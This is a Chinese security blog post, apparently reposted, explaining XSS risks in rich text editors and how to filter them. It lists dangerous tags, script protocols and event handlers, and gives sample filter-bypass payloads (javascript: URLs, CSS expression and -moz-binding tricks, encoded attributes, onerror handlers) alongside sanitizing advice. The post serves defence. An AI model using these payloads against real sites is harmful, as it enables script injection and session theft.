富文本编辑器的跨站脚本问题参考 's

admin 2017年4月10日10:36:31评论404 views字数 2434阅读8分6秒阅读模式
摘要

原始出处:http://s0n9.blog.sohu.com/59791222.html
文章作者:茄子宝富文本编辑器是一个开放式的HTML内容编辑环境,必须实现文字样式、链接、图片等功能的HTML,所以用户POST的内容必须含有HTML标签,但是任由用户输入各类HTML标签,会造成一些潜在的恶意脚本攻击,借这类情况正好分析出现XSS的情况,主要针对IE浏览器.

一.首先是微软建议我们可能造成恶意脚本攻击的标签.

原始出处:http://s0n9.blog.sohu.com/59791222.html
文章作者:茄子宝

富文本编辑器是一个开放式的HTML内容编辑环境,必须实现文字样式、链接、图片等功能的HTML,所以用户POST的内容必须含有HTML标签,但是任由用户输入各类HTML标签,会造成一些潜在的恶意脚本攻击,借这类情况正好分析出现XSS的情况,主要针对IE浏览器.

一.首先是微软建议我们可能造成恶意脚本攻击的标签.

类似如下的

tag:

applet
base
basefont
bgsound
blink
body
embed
frame
frameset
head
html
ilayer
iframe
layer
link
meta
object
style
title
script

———————————–
类似这类

<tag

必须删除.

二.针对HTML属性值的协议攻击.

tag:

dynsrc=
href=
lowsrc=
src=
background=
value=
action=
bgsound=

黑客可能利用如下协议:

脚本伪协议

vbscript:
javascript:

文件类协议

ms-its:
mhtml:
data:

第三方协议

firefoxurl:
mocha:
livescript:

———————————
类似这类

<xxx tag=xxx:

如:

<IMG LOWSRC="javascript:alert('XSS')">

必须判断属性的用的啥协议,给个http:就好了.

三.针对普通HTML属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤.

&# 加 ASCII格式

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=javascript:alert('XSS')>

<IMG SRC=javascript:alert('XSS')>

———————————
类似这类

<xxx tag=&#

必须判断属性的值&转换成 &

四.css样式style属性问题.

<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">

style属性可以和任意字符的标签结合,因此不是<tag>的问题,必须对style属性值做过滤.

behavior需指定域内也就是绝对路径的HTC文件,危害不大.

expression可以构造不同的全角字符和注释符来扰乱过滤规则.

如:

<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<XSS STYLE="xss:exprEssion(alert('XSS'))">

<div style="{ left:expression( alert('xss') ) }">

———————————
类似这类

<xxx style="xxxxxxxxxx"

必须判断style属性的值, 富文本编辑器的跨站脚本问题参考  's ~这里正则超级难写,实在不过滤的话,列个白名单,只允许某些值.

五.css样式style属性其他问题.

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="list-style-image: url("javascript:alert('XSS')">

<DIV style="-moz-binding:url(http://xxx.com/mozxss.xml#xss)">

———————————
类似这类

<xxx style="xxxxxxx:url(xxxxx)"

还是判断协议头之类吧.

六.针对普通style属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤.

转义字符/ 加 16进制格式

<DIV STYLE="background-image:/0075/0072/006C/0028'/006a/0061/0076/0061/0073/0063/0072/0069/0070/0074/003a/0061/006c/0065/0072/0074/0028.1027/0058.1053/0053/0027/0029'/0029">

———————————
类似这类

<xxx style="xxxxxxx:/00xx/00xx"

搞个正则过滤/+数字的字符串.

七.针对正常标签组合事件触发脚本的问题.

黑客可以利用类似事件触发脚本:

onload
onerror
onmousemove
onmouseout
onmouseover
onmouseup
onmouseenter
onmouseleave
onmousewheel
onscroll
………………………………

类似这类

<xxx on*=

如:

<img src=xx onerror=alert(/xss/)>

情况都给过滤吧.

八.第三方媒体文件,崭只针对FLASH与WEB交互的问题.

FLASH的Action Script比较危险,可以和用户做交互式的访问.

可以设置Flash对象的AllowScriptAccess参数为never来解决问题。

AllowScriptAccess 参数有三个可选值,always、never 和 sameDomain

never 禁止运行对外脚本
always 可以运行对外脚本
sameDomain 只允许同一域下的Flash运行对外脚本


<embed src="demo.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="550" height="400" AllowScriptAccess="never"></embed>

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月10日10:36:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   富文本编辑器的跨站脚本问题参考 'shttps://cn-sec.com/archives/46490.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息